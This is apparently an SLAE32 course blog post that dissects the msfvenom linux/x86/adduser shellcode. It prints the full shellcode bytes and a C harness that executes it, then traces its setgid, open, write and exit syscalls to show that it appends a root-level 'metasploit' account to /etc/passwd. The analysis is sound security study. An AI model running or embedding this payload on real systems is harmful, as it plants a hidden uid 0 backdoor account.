Msfvenom Adduser Payload Analysis

4 minute read

Introduction

If we search on internet we will find a lot of ready to use shellcodes of various types, somes are for simple command execution, others adds “secret users” in victim machine, others are bind and reverse shell like the shellcodes wrote in this blog. The question is, shall we trust shellcodes found in internet? Following the general rule “Trust no one” the answer should be a big No, but sometime, for example when we have limited time, we prefer or we are forced to use others shellcode.
In this cases what we suggest is to analyze the downloaed shellcode in sandbox machine before use it, to ensure that it will do what it declare.
For this post we want to show how to analyze 3 samples of shellcodes took from msfvenom payload tool. We can use the msfvenom tool to list payloads that could be produced:

root@slae32-lab:# msfvenom -l payloads |grep linux/x86


We have already build (and analyzed) the bind and reverse shellcode types so we choosed this 3 shellcode samples:

  • linux/x86/adduser “Create a new user with UID 0”
  • linux/x86/chmod “Runs chmod on specified file with specified mode”
  • linux/x86/exec “Execute an arbitrary command”

So let’s start our analysis

Adduser

First thing, we must create the payload with msfvenom

root@slae32-lab:# msfvenom -p linux/x86/adduser -f C -a x86 --platform linux
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

Now we need to analyze it with ndisasm, using the command

echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -

We can see the assembly code
and we can see also the syscalls involved in this payload. We have to remember that this shellcode has the scope of insert a user with uid 0 in the system so presumibly it write a new well crafted row in /etc/passwd file. Now let’s look at the assembly and try to indentify the syscalls and other components of the shellcode.





So we can resume the syscalls involved in this shellcode:

  1. setgid
  2. open
  3. write
  4. exit

Now we can put the shellcode inside our executing C code, compile it and debug it with gdb.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51
\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63
\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65
\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73
\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a
\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58
\xcd\x80\x6a\x01\x58\xcd\x80";

void main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

setgid()

The first syscall as said is the setgid() that want the 0x46 in the EAX register and the gid of the caller as argument, in EBX regsister. In this case the payload set the gid to 0 (root).
Now define hook-stop procedure, stepi to the int 0x80 call and check the first 4 register

Type commands for definition of "hook-stop".
End with a line saying just "end".
>disassemble 
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>end




open()

Let’s jump now to the secopnd syscall, open() that as described by man 2 open accepts 2 arguments, the pathname of the file to open and the flags that indicates with what permission it must be opened.

So in EAX must bo stored the value of the syscall (0x5), in EBX must be stored the address of the pathname and in ECX in must be stored the permissions 0x401 r-x and set the gid bit previously setted to 0.

We have to note one things here. There are 3 push dword of the open() syscall that is the file to open, let’s check it.

Copy the value

6873737764
682F2F7061
682F657463 

and paste it in a converter

Well done, we have find the file path opened by open() syscall, it’s /etc/passwd, obviously in reverse order because we are in little endian and with a double slash to make the number of the letters divisible by 4, so dwssap//cte/.
According with the man 2 open it returns a file descriptor, a small, nonnegative integer for use in subsequent system calls (read(2), write(2), lseek(2), fcntl(2), etc.). So after the int 0x80 the file descriptor is saved in EAX and the payload moves it to EBX usnig an xchg operation.

write()

After the xchg we can see a call to a well defined address, in general a call dword 0x53, in our case a call 0x804a093 <code+83>. This jump is preparatory for the next syscall write() in fact if we moving forward to the next int 0x80 and analyze the registers we can see that situation
The EAX contains the value 4 that refer to the write() syscall, EBX contains the file descriptor value and ECX contains the address memory of the buffer to write in the fd.

What we have to know now is what this syscall will write in the /etc/passwd file. We know that the buffer starts at 0x804a06b, just after the call 0x804a093 <code+83> instruction.

All the code contained from address 0x804a06b to address 0x804a093 is in actual the text that will be write to /etc/passwd. Analyzing the payload again with ndisasm could help us know what’s the text.

Let’s copy the values in this range of address

6D
657461
7370
6C
6F
69743A417A2F6449
736A
3470
3449
52
633A
303A
303A
3A2F
3A2F
62696E
2F
7368
0A

and paste it in a converter

And here we go, the payload will write metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh in /etc/passwd, that means it adds a new user with uid 0 and gid 0 and /bin/sh enabled. The payload after wrote this line, exit with code 1.

Check the results

Let’s try the payload and watch the execution
It worked.

All the codes used in this post are available in my dedicated github repo.

This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification: SLAE32 Course
Student ID: SLAE-1476